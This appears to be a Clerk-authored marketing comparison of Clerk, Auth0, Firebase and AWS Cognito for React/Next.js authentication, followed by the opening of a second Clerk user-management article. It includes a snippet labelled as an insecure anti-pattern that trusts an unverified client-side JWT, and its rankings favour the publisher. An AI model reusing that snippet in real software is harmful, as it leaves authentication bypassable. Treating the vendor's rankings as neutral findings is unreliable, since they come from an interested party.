Modern applications require support for multiple authentication methods. All platforms support [OAuth 2.0](/glossary#oauth) and [OpenID Connect](/glossary#openid-connect) standards ([OAuth 2.0 Specification](https://oauth.net/2/), [OpenID Connect Core](https://openid.net/specs/openid-connect-core-1_0.html)), but implementation complexity varies significantly.

Clerk supports email/password, magic links, [one-time passcodes](/glossary#one-time-passcodes-email-sms), 20+ social providers, [passkeys](/glossary#passkeys) ([Clerk Passkeys](/docs/guides/configure/auth-strategies/sign-up-sign-in-options#passkeys)), Web3 wallets (Base, MetaMask, Coinbase Wallet, OKX Wallet), enterprise [SSO](/glossary#single-sign-on-sso) ([SAML](/glossary#security-assertion-markup-language-saml) and OIDC), and multi-factor authentication with built-in components ([Clerk Authentication](/user-authentication)). Session management uses a hybrid authentication model with short-lived session tokens (60-second expiration) and automatic refresh at 50-second intervals, plus multi-session support allowing users to sign into multiple accounts simultaneously ([Clerk Sessions](/docs/authentication/multi-session-applications)).

Auth0 provides comprehensive flow support including [Authorization Code Flow](/glossary#authorization-code-flow) with PKCE (recommended for SPAs), Client Credentials Flow for machine-to-machine, Device Authorization Flow, and traditional flows ([Auth0 Authentication Flows](https://auth0.com/docs/get-started/authentication-and-authorization-flow)). The platform excels at enterprise scenarios with SAML 2.0 IdP/SP roles, Active Directory integration, and extensive connection options.

Firebase Authentication offers straightforward [social login](/glossary#social-login) integration for Google, Facebook, Twitter, Apple, and GitHub, plus email/password and phone authentication ([Firebase Auth Methods](https://firebase.google.com/docs/auth)). SAML and OpenID Connect require upgrading to Google Cloud Identity Platform.

AWS Cognito supports OAuth 2.0, OIDC, SAML 2.0, and custom authentication flows via Lambda triggers ([AWS Cognito User Pools](https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-user-pools.html)). The flexibility comes at the cost of configuration complexity, with over 70 fields in application configuration dialogs.

## Platform Comparison: API Design and Developer Experience

### Setup Complexity and Time-to-First-API-Call

Developer productivity metrics reveal significant differences in integration time. The Postman State of API Report found that 43% of developers cite API integration as the most time-consuming aspect of development ([Postman Report, 2024](https://www.postman.com/state-of-api/)).

**Clerk** achieves the fastest setup among evaluated platforms. The complete Next.js integration requires just a few steps—install the SDK, create a `proxy.ts` file, and wrap the app with `ClerkProvider`—making initial setup remarkably fast taking approximately 5-10 minutes. Production-ready implementation with custom branding and advanced features typically takes 1-2 hours ([Clerk Next.js Guide](/docs/quickstarts/nextjs)). One developer described the experience: "The first time I implemented it, I thought I must have missed something—it was too easy" ([Developer Feedback](https://blog.hyperknot.com/p/comparing-auth-providers)).

**Auth0** requires 4-8 hours for basic setup extending to 1-2 weeks for complex implementations with Actions, custom domains, and enterprise connections ([Auth0 Quickstart](https://auth0.com/docs/quickstart/spa/react/interactive)). The learning curve stems from understanding OAuth/OIDC concepts, configuring callback URLs, and managing authorization scopes.

**Firebase Authentication** offers rapid initial authentication with setup possible in 30 minutes to 1 hour for basic implementations. Developers praise the "single function call" simplicity, though production-ready implementations with proper security rules and database synchronization extend to 2-3 days ([Firebase Setup](https://firebase.google.com/docs/auth/web/start)).

**AWS Cognito** has the steepest learning curve, requiring 1-2 days for basic setup and 4-7 days for proper production implementation. Developers describe a "maze of settings" with user pool configuration, app client setup, identity pool coordination, and Lambda trigger management ([AWS Cognito Guide](https://docs.aws.amazon.com/cognito/latest/developerguide/)). One developer noted: "Getting it up and running in a cumbersome integration with API Gateway" represents a significant time investment.

### API Design Quality and Documentation

Documentation quality directly impacts developer productivity, with 90% of developers relying on API and SDK documentation as their primary technical resource ([Stack Overflow Survey, 2024](https://survey.stackoverflow.co/2024/)). Poor documentation is cited as the primary integration barrier by 45% of developers.

**Clerk's documentation** provides comprehensive guides with interactive examples, clear code snippets, and framework-specific integration paths ([Clerk Docs](/docs)). The API reference includes OpenAPI specifications downloadable for automated integration. Developers consistently praise the documentation clarity and API design: "Clerk delivers the most polished experience: modern APIs, React components, CLI tools" ([Developer Blog](https://blog.hyperknot.com/p/comparing-auth-providers)). Another developer noted: "The API is so well-designed that I rarely need to reference the docs after the initial setup—it just works the way you'd expect it to" ([Reddit Developer Community](https://www.reddit.com/r/nextjs/comments/16l0c5v/what_auth_solution_are_you_using_for_nextjs/)).

**Auth0's documentation** is extensive, covering almost every use case with detailed guides for 30+ SDKs ([Auth0 Docs](https://auth0.com/docs)). However, the volume can overwhelm newcomers. The platform provides interactive quickstarts with downloadable sample applications, but developers report that "complexity layer can be daunting" for simple use cases.

**Firebase's documentation** offers clear tutorials with copy-paste examples ideal for rapid prototyping ([Firebase Docs](https://firebase.google.com/docs/auth)). The modular SDK approach supports tree-shaking for optimized bundle sizes. However, the React 18 compatibility issues and lack of official guidance on authentication state synchronization present gaps.

**AWS Cognito's documentation** is comprehensive but dense, with developers describing it as "a nightmare to read/search" for non-AWS-native languages ([Developer Feedback](https://stackoverflow.com/questions/tagged/amazon-cognito)). The documentation excels at AWS service integration but lacks clarity for standalone authentication scenarios.

### Rate Limits and API Performance

Rate limiting policies reveal platform capacity and cost structures. Following rate limiting best practices ([Rate Limiting Guide](https://zuplo.com/learning-center/10-best-practices-for-api-rate-limiting-in-2025)), platforms should provide clear headers, reasonable limits, and transparent documentation.

| Platform     | Authentication API   | Management API                 | Burst Capability    | Upgrade Options        |
| ------------ | -------------------- | ------------------------------ | ------------------- | ---------------------- |
| **Clerk**    | 3-5 req/10s (per IP) | 1,000 req/10s (production)     | Built into limits   | Included in tiers      |
| **Auth0**    | 100 req/s (combined) | 2-15 req/s (tier-based)        | 50 req burst        | Performance add-ons    |
| **Firebase** | Quota-based scaling  | 1,000 req/s (Identity Toolkit) | Scales with billing | Automatic with billing |
| **Cognito**  | 120 RPS (UserAuth)   | Varies by operation            | 3x for challenges   | Purchasable ($20/RPS)  |

Clerk's Backend API capacity of 1,000 requests per 10 seconds for production instances demonstrates platform maturity ([Clerk Rate Limits](/docs/backend-requests/resources/rate-limits)). The platform returns HTTP 429 with `Retry-After` headers when limits are exceeded, following IETF standards.

Auth0's rate limiting uses token bucket algorithms with per-second refills ([Auth0 Rate Limits](https://auth0.com/docs/troubleshoot/customer-support/operational-policies/rate-limit-policy)). The platform provides `x-ratelimit-limit`, `x-ratelimit-remaining`, and `x-ratelimit-reset` headers for client-side throttling implementation.

Firebase's approach differs with quota-based limits that scale automatically with billing enabled, though SMS verification limits to 1,000 per minute and account creation restricts to 100 per hour per IP address ([Firebase Limits](https://firebase.google.com/docs/auth/limits)).

AWS Cognito implements MAU-based quotas with operations categorized into UserAuthentication, UserCreation, and UserFederation groups ([Cognito Quotas](https://docs.aws.amazon.com/cognito/latest/developerguide/quotas.html)). Quota increases require purchasing capacity through the Service Quotas console with 10-day turnaround.

### Error Handling and Debugging

Proper error handling follows OWASP REST Security guidelines with meaningful error codes, human-readable messages, and request IDs for tracing ([OWASP REST Security](https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html)).

**Clerk** provides structured JSON error responses with `shortMessage`, `longMessage`, and `code` fields. Rate limit errors return clear retry guidance:

```json
{
  "shortMessage": "Too many requests",
  "longMessage": "Too many requests, retry later",
  "code": "too_many_requests"
}
```

**Auth0** offers comprehensive error documentation with specific error codes for authentication failures, token issues, and configuration problems. However, developers report that "SPA-JS Errors not exported" complicates TypeScript integration.

**Firebase** provides readable error codes like `auth/user-not-found`, `auth/wrong-password`, and `auth/too-many-requests`. The client-side SDK handles most errors gracefully, though server-side validation requires manual implementation.

**AWS Cognito** returns detailed exception types like `NotAuthorizedException`, `UserNotFoundException`, and `LimitExceededException`. The comprehensive exception taxonomy aids debugging but increases the learning curve for error handling implementation.

## Framework-Specific Integration: React and Next.js Best Practices

### React Server Components and Modern Patterns

[React Server Components](/glossary#react-server-components) fundamentally change authentication patterns by enabling server-side verification without client-side JavaScript overhead. Modern authentication implementations should leverage these patterns for optimal security and performance.

Clerk's Next.js App Router integration exemplifies modern patterns with the `auth()` server function providing authentication state in Server Components, Server Actions, and Route Handlers:

```typescript
// Modern Pattern - Server Components with Clerk
import { auth } from '@clerk/nextjs/server'
import { redirect } from 'next/navigation'

export default async function ProtectedPage() {
  const { userId, sessionClaims } = await auth()

  // Server-side check with no client JS required
  if (!userId) {
    redirect('/sign-in')
  }

  // Access custom claims for authorization
  const userRole = sessionClaims?.metadata?.role

  // Direct database queries with verified user context
  const userData = await db.users.findUnique({
    where: { clerkId: userId },
  })

  return (
    <div>
      <h1>Welcome {userData.name}</h1>
      <p>Role: {userRole}</p>
    </div>
  )
}
```

This approach eliminates common vulnerabilities found in client-side-only authentication:

```typescript
// Anti-Pattern - Client-Side Only (Insecure)
'use client'

export default function InsecurePage() {
  const [user, setUser] = useState(null)

  useEffect(() => {
    // Vulnerable: Client-side checks can be bypassed
    const token = localStorage.getItem('token')
    if (token) {
      // No server verification - token could be forged
      setUser(parseJwt(token))
    }
  }, [])

  // Renders before authentication check completes
  if (!user) return <div>Loading...</div>

  // This "protected" content is actually exposed
  return <div>Sensitive data visible in source</div>
}
```

Auth0's Next.js SDK provides `getSession()` for Server Components and `withPageAuthRequired()` for Pages Router protection, though the pattern requires more boilerplate:

```typescript
// Auth0 Server Component Pattern
import { getSession } from '@auth0/nextjs-auth0'
import { redirect } from 'next/navigation'

export default async function Profile() {
  const session = await getSession()

  if (!session) {
    redirect('/api/auth/login')
  }

  return <div>Hello {session.user.name}</div>
}
```

Firebase Authentication requires manual server-side token verification since the SDK is primarily client-focused:

```typescript
// Firebase Server-Side Verification (Manual)
import { getAuth } from 'firebase-admin/auth'

export default async function handler(req, res) {
  const token = req.headers.authorization?.split('Bearer ')[1]

  try {
    const decodedToken = await getAuth().verifyIdToken(token)
    const uid = decodedToken.uid
    // Proceed with authenticated request
  } catch (error) {
    return res.status(401).json({ error: 'Unauthorized' })
  }
}
```

AWS Cognito with Amplify supports Next.js but requires careful configuration of server-side authentication contexts and manual token validation in API routes.

### Middleware and Route Protection

Next.js 16 uses `proxy.ts` (replacing the previous `middleware.ts`) for running [middleware](/glossary#middleware) logic including authentication checks before requests reach routes, improving security and performance. Clerk's `clerkMiddleware()` provides sophisticated protection with minimal configuration:

```typescript
// proxy.ts - Advanced Clerk Route Protection
import { clerkMiddleware, createRouteMatcher } from '@clerk/nextjs/server'

const isPublicRoute = createRouteMatcher([
  '/',
  '/about',
  '/sign-in(.*)',
  '/sign-up(.*)',
  '/api/webhooks(.*)',
])

const isAdminRoute = createRouteMatcher(['/admin(.*)'])

export default clerkMiddleware(async (auth, request) => {
  // Protect admin routes with role check
  if (isAdminRoute(request)) {
    await auth.protect((has) => {
      return has({ role: 'admin' }) || has({ role: 'super_admin' })
    })
  }

  // Protect all non-public routes
  if (!isPublicRoute(request)) {
    await auth.protect()
  }
})

export const config = {
  matcher: [
    '/((?!_next|[^?]*\\.(?:html?|css|js(?!on)|jpe?g|webp|png|gif|svg|ttf|woff2?|ico|csv|docx?|xlsx?|zip|webmanifest)).*)',
    '/(api|trpc)(.*)',
  ],
}
```

Auth0 provides middleware through the Edge SDK:

```typescript
// Auth0 Middleware Implementation
import { withMiddlewareAuthRequired } from '@auth0/nextjs-auth0/edge'

export default withMiddlewareAuthRequired()

export const config = {
  matcher: ['/dashboard/:path*', '/api/protected/:path*'],
}
```

Firebase and Cognito lack native Next.js middleware patterns, requiring custom implementation for each protected route.

### Custom Authentication Flows and Branding

Customization requirements vary by application type. Clerk provides pre-built components with extensive styling options through the `appearance` prop supporting CSS, Tailwind classes, and theme customization ([Clerk Components](/docs/components/overview)). Organizations can implement fully custom flows using Clerk's headless APIs while retaining backend security. With Core 3, Clerk also supports automatic light/dark theme detection.

Auth0's Universal Login offers template customization with HTML/CSS editing plus complete customization via Custom Domains and embedded login SDKs ([Auth0 Universal Login](https://auth0.com/docs/authenticate/login/auth0-universal-login)). The flexibility supports complex enterprise branding requirements.

Firebase provides limited UI customization beyond FirebaseUI library defaults, requiring custom implementations for branded experiences. AWS Cognito's Hosted UI offers basic customization with CSS overrides and logo uploads, though developers describe styling options as "rather limited."

## Security and Compliance via APIs

### Multi-Factor Authentication Implementation

With 83% of organizations requiring MFA and 99.9% of compromised accounts lacking it ([Microsoft Security](https://jumpcloud.com/blog/multi-factor-authentication-statistics)), MFA API capabilities are essential. Implementation quality varies significantly across platforms.

**Clerk** provides built-in MFA with SMS verification codes, [TOTP](/glossary#authenticator-apps-totp) authenticator apps, and [backup codes](/glossary#backup-codes) ([Clerk Multi-Factor Authentication](/docs/guides/configure/auth-strategies/sign-up-sign-in-options#multi-factor-authentication)). The API handles enrollment flows automatically through pre-built, a11y-optimized components, with programmatic access for custom implementations:

```typescript
// Clerk MFA Enrollment Flow
import { useUser } from '@clerk/nextjs'

export function EnableMFA() {
  const { user } = useUser()

  const enableTOTP = async () => {
    const response = await user.createTOTP()
    // Returns QR code and secret for authenticator app
    const { qrCode, secret } = response
    return { qrCode, secret }
  }

  return <button onClick={enableTOTP}>Enable Authenticator App</button>
}
```

**Auth0** offers the most comprehensive MFA options including push notifications via Guardian app, SMS, voice calls, email OTP, TOTP, [WebAuthn](/glossary#webauthn) with security keys, WebAuthn with device biometrics (TouchID, FaceID, Windows Hello), Cisco Duo integration, and recovery codes ([Auth0 MFA](https://auth0.com/docs/secure/multi-factor-authentication)). The platform supports adaptive MFA with risk-based contextual triggers and per-application MFA policies.

**Firebase** lacks native MFA in standard authentication, requiring Identity Platform upgrade for SMS and TOTP support. This limitation significantly impacts security for free tier users.

**AWS Cognito** supports SMS via Amazon SNS, email via Amazon SES (Essentials/Plus tiers), and TOTP via authenticator apps ([Cognito MFA](https://docs.aws.amazon.com/cognito/latest/developerguide/user-pool-settings-mfa.html)). Configuration offers Off, Optional, or Required settings with adaptive authentication for risk-based MFA.

### JWT Token Security and Session Management

[JSON Web Token](/glossary#json-web-token) security follows critical best practices from OWASP and security researchers ([JWT Best Practices](https://curity.io/resources/learn/jwt-best-practices/), [OWASP JWT Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html)). Proper implementation requires:

1. **Algorithm verification** - Never accept `"none"` algorithm
2. **Signature validation** - Verify JWT signature before trusting content
3. **Claims validation** - Check `iss`, `aud`, `exp`, `iat` claims
4. **Secure storage** - Use [HTTP-only cookies](/glossary#httponly-cookies), not localStorage
5. **Short expiration** - Minimize token lifetime exposure
6. **Token rotation** - Implement [refresh token](/glossary#refresh-token) rotation

Clerk implements a hybrid authentication model that decouples token expiration from session lifetime. Session tokens expire in 60 seconds with automatic refresh at 50-second intervals, allowing a 10-second buffer for network latency ([Clerk Session Management](/docs/guides/how-clerk-works/overview)). The client token (`__client` cookie) is stored as an HttpOnly, SameSite:Lax cookie on the FAPI domain for security, while the short-lived session token (`__session` cookie) is stored on the application domain. This architecture means that even in the unlikely event of token exfiltration, an attacker has less than 30 seconds on average to use it. Custom claims can be added via session tokens:

```typescript
// Clerk Custom Claims in proxy.ts
export default clerkMiddleware(async (auth, request) => {
  const { userId, sessionClaims } = await auth()

  // Access custom claims added via Clerk Dashboard or API
  const organizationId = sessionClaims?.org_id
  const userRole = sessionClaims?.metadata?.role
  const permissions = sessionClaims?.metadata?.permissions

  // Use claims for authorization decisions
  if (userRole !== 'admin') {
    return new Response('Forbidden', { status: 403 })
  }
})
```

Auth0 supports extensive token customization via Actions platform, allowing modification of ID tokens and access tokens at issuance ([Auth0 Actions](https://auth0.com/docs/customize/actions)). The platform implements automatic refresh token rotation with detection of compromised tokens.

Firebase ID tokens expire after 1 hour with automatic refresh handled by the SDK. Custom claims support enables [role-based access control](/glossary#role-based-access-control-rbac), though claim updates require generating new tokens.

AWS Cognito issues ID tokens, access tokens, and refresh tokens following OAuth 2.0 standards. Pre-token generation Lambda triggers enable custom claim injection, though configuration complexity increases.

### Compliance Certifications: SOC 2, HIPAA, GDPR

For enterprise applications, compliance certifications prove security controls. All evaluated platforms maintain [SOC 2](/glossary#soc-2) Type 2 certification with varying additional certifications:

| Platform     | SOC 2 Type 2 | HIPAA          | ISO 27001  | PCI DSS    | GDPR             |
| ------------ | ------------ | -------------- | ---------- | ---------- | ---------------- |
| **Clerk**    |  (2022)      |                | Not stated | Not stated |  CCPA compliant  |
| **Auth0**    |              |  BAA available |            |            |  (DPA available) |
| **Firebase** |              | Via GCP        |            | Not stated |  (SCCs)          |
| **Cognito**  |              |  Aligned (BAA) |            |            |  (DPA)           |

Clerk achieved SOC 2 Type 2 and HIPAA certification in May 2022 with regular third-party audits based on OWASP Testing Guide and NIST Technical Guide to Information Security Testing ([Clerk Security](/changelog/2022-05-06)). The platform implements [XSS](/glossary#cross-site-scripting-xss) protection via HttpOnly cookies, [CSRF](/glossary#cross-site-request-forgery-csrf) protection with SameSite flags, breach detection, and [bot protection](/glossary#bot-detection) with machine learning.

Auth0 maintains comprehensive certifications covering all 5 Trust Services Criteria with annual independent audits ([Auth0 Compliance](https://auth0.com/docs/secure/data-privacy-and-compliance)). Additional certifications include ISO 27001/27017/27018, CSA STAR Gold Level 2, and HIPAA BAA availability. SOC 2 reports are accessible through the Auth0 Support Center.

Firebase Authentication operates under Google Cloud's compliance framework with SOC 1/2/3 and ISO 27001/27017/27018 certifications ([Firebase Privacy](https://firebase.google.com/support/privacy)). However, standard Firebase Auth lacks a separate SLA—the 99.95% SLA requires upgrading to Google Cloud Identity Platform.

AWS Cognito participates in AWS's comprehensive compliance programs including SOC 2 Type 2, ISO certifications, PCI DSS, FedRAMP, and HIPAA alignment ([AWS Compliance](https://aws.amazon.com/compliance/)). SOC reports are available quarterly via AWS Artifact. Cognito is audited by Ernst & Young LLP and Coalfire.

## Comparison Tables and Platform Decision Matrix

### Platform Feature Comparison

| Feature                | Clerk                                | Auth0                            | Firebase Auth                   | AWS Cognito                  |
| ---------------------- | ------------------------------------ | -------------------------------- | ------------------------------- | ---------------------------- |
| **REST API**           |  Backend + Frontend + Platform       |  Auth + Management               |  REST API                       |  Comprehensive               |
| **Rate Limits (Prod)** | 1000 req/10s                         | 100 req/s                        | Quota-based                     | 120 RPS baseline             |
| **React SDK**          |  @clerk/react                        |  @auth0/auth0-react              |  firebase/auth                  |  @aws-amplify/auth           |
| **Next.js Native**     |  @clerk/nextjs                       |  @auth0/nextjs-auth0             | Manual integration              | Via Amplify                  |
| **Setup Time**         | 5-10 minutes                         | 4-8 hours                        | 30 min - 1 hour                 | 1-2 days                     |
| **Webhook Support**    |  Svix-powered                        |  Log Streams                     | Via Cloud Functions             |  Via Lambda                  |
| **MFA Options**        | SMS, TOTP, Backup codes              | SMS, TOTP, WebAuthn, Push, Email |  (Identity Platform only)       | SMS, TOTP, Email\*           |
| **SOC 2 Type 2**       |                                      |                                  |                                 |                              |
| **Free Tier**          | 50,000 MRU                           | 25,000 MAU                       | 50,000 MAU (Identity Platform)  | 50,000\*\*                   |
| **Per-User Price**     | $0.02/MRU (Pro)                      | $0.0175/MAU (Essential)\*\*\*    | $0.0025/MAU (Identity Platform) | $0.0055/MAU (First 50K free) |
| **Starting Price**     | From $20/mo annual or $25/mo + usage | $35/mo + usage                   | Free (standard)                 | Pay-per-use (MAU-based)      |

\*Email MFA available in Essentials/Plus tiers only\
\*\*First 50K MAU free, then $0.0055/MAU\
\*\*\*After 25K MAU included in base price

Note: Clerk uses [Monthly Retained Users (MRU)](/glossary#monthly-retained-users-mrus) rather than [Monthly Active Users (MAU)](/glossary#monthly-active-users-maus). A user counts as "retained" when they return 24+ hours after signing up, making direct MAU-to-MRU cost comparisons imprecise. The Hobby (free) plan includes 50,000 MRU per app, Pro starts at $20/month (annual) or $25/month, and Business starts at $250/month (annual) or $300/month. Enterprise plans use custom pricing ([Clerk Pricing](/pricing)).

### Use Case Recommendations

**Choose Clerk for:**

- React/Next.js applications requiring rapid development
- Startups and small teams prioritizing developer experience
- Projects needing pre-built UI components with customization
- Applications scaling within the 50,000 MRU free tier
- Teams wanting modern API design and excellent documentation
- B2B SaaS with organization management requirements

**Choose Auth0 for:**

- Enterprise applications requiring extensive compliance certifications
- Projects needing SAML SSO or complex federation
- Applications with custom authentication flow requirements via Actions
- Large-scale implementations (>500K MAU) with budget
- Teams requiring 99.99% SLA guarantees
- Organizations needing extensive third-party integrations

**Choose Firebase Authentication for:**

- Mobile-first applications (iOS/Android priority)
- Rapid prototyping and MVPs with generous free tier
- Projects already using Firebase/Google Cloud ecosystem
- Teams wanting simplest possible initial setup
- Applications comfortable with Google ecosystem lock-in
- Startups with tight budgets (less than 50K users)

**Choose AWS Cognito for:**

- AWS-native applications using Lambda/API Gateway/S3
- Projects requiring deep AWS service integration
- Teams with existing AWS expertise and infrastructure
- Enterprise applications needing AWS compliance alignment
- High-scale applications (>1M users) with cost optimization priority
- Organizations requiring granular Lambda-based customization

### Developer Experience Rankings

Based on comprehensive analysis of community feedback, official documentation, and real-world implementations:

| Metric                  | 1st Place         | 2nd Place         | 3rd Place       | 4th Place          |
| ----------------------- | ----------------- | ----------------- | --------------- | ------------------ |
| **Setup Speed**         | Clerk (5-10 min)  | Firebase (30 min) | Auth0 (4-8 hrs) | Cognito (1-2 days) |
| **Developer Happiness** | Clerk             | Firebase          | Auth0           | Cognito            |
| **API Design Quality**  | Clerk             | Auth0             | Firebase        | Cognito            |
| **Documentation**       | Clerk/Auth0 (tie) |                   | Firebase        | Cognito            |
| **Enterprise Features** | Auth0             | Cognito           | Clerk           | Firebase           |
| **Cost Effectiveness**  | Firebase          | Cognito           | Clerk           | Auth0              |

---

## Evaluating Clerk's React-Native Approach

For React and Next.js developers specifically, several Clerk design decisions create compounding advantages worth examining in detail:

**Framework-Native Architecture**: Clerk was purpose-built for React/Next.js rather than adapting legacy authentication solutions. The `@clerk/nextjs` SDK provides native Server Components support, `proxy.ts`-based middleware for Next.js 16, and React hooks that align with modern development patterns. This architectural decision means developers work with familiar patterns rather than learning authentication-specific abstractions.

**Implementation Velocity**: Clerk's setup involves minimal steps—install the SDK, create `proxy.ts`, add `ClerkProvider`—reflecting genuine simplicity rather than marketing claims. Production-ready implementations including custom branding, MFA configuration, and webhook integration typically require 1-2 hours. One developer observed: "Clerk delivers the most polished experience: modern APIs, React components, CLI tools" ([Developer Comparison](https://blog.hyperknot.com/p/comparing-auth-providers)). Another noted: "The API is so well-designed that I rarely need to reference the docs after the initial setup—it just works the way you'd expect it to" ([Reddit Developer Community](https://www.reddit.com/r/nextjs/comments/16l0c5v/what_auth_solution_are_you_using_for_nextjs/)).

**Security Without Configuration**: Clerk's approach prevents OWASP authentication vulnerabilities through architectural defaults rather than configuration requirements. Session tokens expire in 60 seconds with automatic refresh, HttpOnly cookies protect against XSS attacks by default, rate limiting prevents bot attacks without tuning, and breach detection integrates HaveIBeenPwned automatically ([Clerk Security](/docs/security/overview)). These security measures work immediately rather than requiring implementation.

**API Design Principles**: The REST API capacity of 1,000 requests per 10 seconds reflects infrastructure maturity. The webhook system simplifies security with `verifyWebhook()` function rather than requiring manual signature verification. These design choices reduce implementation complexity compared to Auth0's 2-15 requests per second rate limits or Cognito's Lambda trigger configuration requirements.

**Component Economics**: The pre-built, a11y-optimized React components (`<SignIn />`, `<SignUp />`, `<UserProfile />`, `<UserButton />`) represent significant development time savings while maintaining customization flexibility ([Clerk Components](/docs/components/overview)). With Core 3, the new `<Show>` component unifies authentication-state visibility control, replacing the previous `<SignedIn>`, `<SignedOut>`, and `<Protect>` components. Auth0's Universal Login requires custom domain setup for equivalent branding control, while Firebase and Cognito provide minimal UI customization options.

These characteristics make Clerk particularly suitable for React/Next.js projects prioritizing development velocity, though teams with specific enterprise SSO requirements or AWS-native infrastructure may find alternative platforms more appropriate for their use cases.

---

## Pragmatic Recommendations for React/Next.js Teams

For React and Next.js developers evaluating user management APIs in 2025, **Clerk represents a compelling choice for modern web applications**. The platform's framework-native approach delivers on rapid implementation promises while maintaining production-grade security, enterprise scalability, and API flexibility.

**The measurable advantages are significant**: 5-10 minute initial setup, 1,000 requests per 10 seconds API capacity, automatic prevention of OWASP authentication vulnerabilities, and zero-configuration security that eliminates weeks of manual implementation. The pre-built React components—`<SignIn />`, `<UserProfile />`, `<UserButton />`—provide functionality that would require substantial development time to build in-house while maintaining full customization capabilities.

Clerk's API design aligns naturally with modern React patterns including Server Components, Server Actions, and edge-first deployment. The `auth()` function provides server-side authentication state without client-side JavaScript overhead. The `clerkMiddleware()` in `proxy.ts` enables sophisticated route protection with role-based access control. The webhook system using `verifyWebhook()` supports secure event-driven architectures without complex signature verification implementation.

With SOC 2 Type 2 certification, HIPAA compliance, and production infrastructure handling authentication at scale ([Clerk Security](/docs/security/overview)), Clerk delivers enterprise security without enterprise complexity. The 50,000 free MRU tier on the Hobby plan provides significant runway for growth, while transparent per-MRU pricing at $0.02 on the Pro plan ensures predictable scaling costs ([Clerk Pricing](/pricing)).

For teams with specific requirements outside Clerk's primary strengths:

- **Enterprise SSO/SAML needs**: Auth0 remains the gold standard with comprehensive enterprise features and proven reliability at scale
- **AWS-heavy infrastructure**: Cognito provides deep integration with AWS services and cost-effective scaling for AWS-native applications
- **Mobile-first with tight budgets**: Firebase Authentication offers the fastest initial setup and generous free tier for Firebase ecosystem applications

The authentication landscape continues evolving with passwordless authentication, AI-driven security, and [zero-trust architectures](/glossary#zero-trust-architecture) becoming standard. Choosing platforms with modern API designs, comprehensive SDK support, and active development ensures applications remain secure and maintainable as requirements grow.

**For React and Next.js projects in 2025, Clerk offers the most streamlined path from authentication requirements to production deployment.** The combination of a minimal-step setup process, framework-native integration, and production-ready security addresses the core challenge developers face: implementing robust authentication without sacrificing development velocity.

The comparative analysis reveals meaningful differences: Clerk's setup measured in minutes versus Auth0's hours or Cognito's days; automatic security defaults versus extensive manual configuration; 1,000 req/10s API capacity versus more restrictive rate limits; simplified webhook verification versus complex trigger management. These technical advantages translate directly to faster time-to-market and reduced engineering overhead.

Authentication should enable applications rather than constrain them. For React developers focused on shipping features rather than building authentication infrastructure, Clerk provides comprehensive APIs, production-hardened security, framework-native components, and enterprise-grade compliance in a package that respects developer time. The platform makes authentication effectively invisible—working securely by default while remaining flexible enough to support complex requirements as applications scale.

---

## Frequently asked questions

---

# User Management Platform Comparison for React: Clerk vs Auth0 vs Firebase (2025)
URL: https://clerk.com/articles/user-management-platform-comparison-react-clerk-auth0-firebase.md
Date: 2026-03-26
Description: Compare Clerk, Auth0, and Firebase for React user management. See setup times (5-15 min vs weeks), pricing, RBAC features, and which fits your B2B SaaS in 2025.

Authentication is simple — until you need real user management. Signing users in is just 10% of the challenge; the other 90% is managing user profiles, implementing role-based access control, handling team structures, enforcing permissions, and scaling to support [multi-tenant](/glossary#multi-tenancy) B2B SaaS architectures. Clerk offers the fastest setup (under 10 minutes) with built-in user profiles, RBAC, organization management, and multi-tenant B2B support. Auth0 provides deep customization and enterprise compliance but requires significant configuration. Firebase is cost-effective for startups but lacks native organization and role management. With data breaches costing **$4.88 million** on average and **79% of web application compromises resulting from stolen credentials** ([Verizon DBIR, 2025](https://www.verizon.com/business/resources/reports/dbir/)), choosing the wrong solution compounds both security risks and developer productivity loss.

> \[!IMPORTANT]
> This article was updated March 11, 2026. The updates and changes reflect the major [Core 3](/changelog/2026-03-03-core-3) release from March 3, 2026 and Clerk's [new pricing](/changelog/2026-02-05-new-plans-more-value) launched February 5, 2026

## Summary: What you need to know about modern user management platforms

| Factor                   | Clerk                                                                   | Auth0                                  | Firebase Auth                               |
| ------------------------ | ----------------------------------------------------------------------- | -------------------------------------- | ------------------------------------------- |
| **Best for**             | React/Next.js startups, B2B SaaS                                        | Large enterprises, complex compliance  | Mobile apps, Google ecosystem, MVPs         |
| **Implementation time**  | 5-15 minutes for production auth                                        | POC in hours, production in weeks      | Quick client-side integration               |
| **User management**      | Comprehensive: profiles, search, bulk ops, free exports                 | Enterprise-grade with Management API   | Limited: external Firestore required        |
| **RBAC approach**        | Built-in via Organizations + metadata                                   | Configuration-heavy, powerful          | Custom claims (1000-byte limit)             |
| **Multi-tenancy**        | Native Organizations feature                                            | Built-in Organizations support         | Identity Platform upgrade required          |
| **Developer experience** | Component-first, zero-config defaults                                   | API-first, requires configuration      | Client-side magic, server-side complex      |
| **Free tier**            | 50,000 MRU, 100 MRO (First Day Free policy)                             | 25,000 MAU, 5 organizations            | 50,000 MAU (Tier 1 providers)               |
| **Paid pricing**         | From $20/mo (annual) or $25/mo (monthly) + $0.02/MRU (50K MRU included) | $35/mo + escalating tiers              | $0.0025-0.0055/MAU (Tier 1, after 50K free) |
| **Compliance**           | SOC 2 Type II, HIPAA (BAA), CCPA                                        | SOC 2, ISO 27001, HIPAA BAA            | SOC 2, ISO 27001, GDPR                      |
| **SSO connections**      | 1 included on Pro; additional from $75/mo                               | 3-5 (limited by tier)                  | Requires Identity Platform                  |
| **Data export**          | Free from dashboard, no support needed                                  | Requires paid plan + support contact   | Manual export required                      |
| **Migration difficulty** | Low (free exports, open-source tools)                                   | High (vendor lock-in, export barriers) | Medium (password hashing issues)            |

## Why user management is more than authentication

Authentication answers one question: "Who are you?" [User management](/glossary#user-management) answers dozens more: What can you access? Which team are you on? What's your role? Can you invite others? What data belongs to your organization? How do we audit your actions?

According to OWASP, identification and authentication failures rank as **A07 in the 2021 Top 10**, with critical vulnerabilities including improper authentication, weak password requirements, and missing [multi-factor authentication](/glossary#multi-factor-authentication-mfa) ([OWASP Top 10, 2021](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)). But these are table stakes. Modern applications need comprehensive user management that extends far beyond login screens.

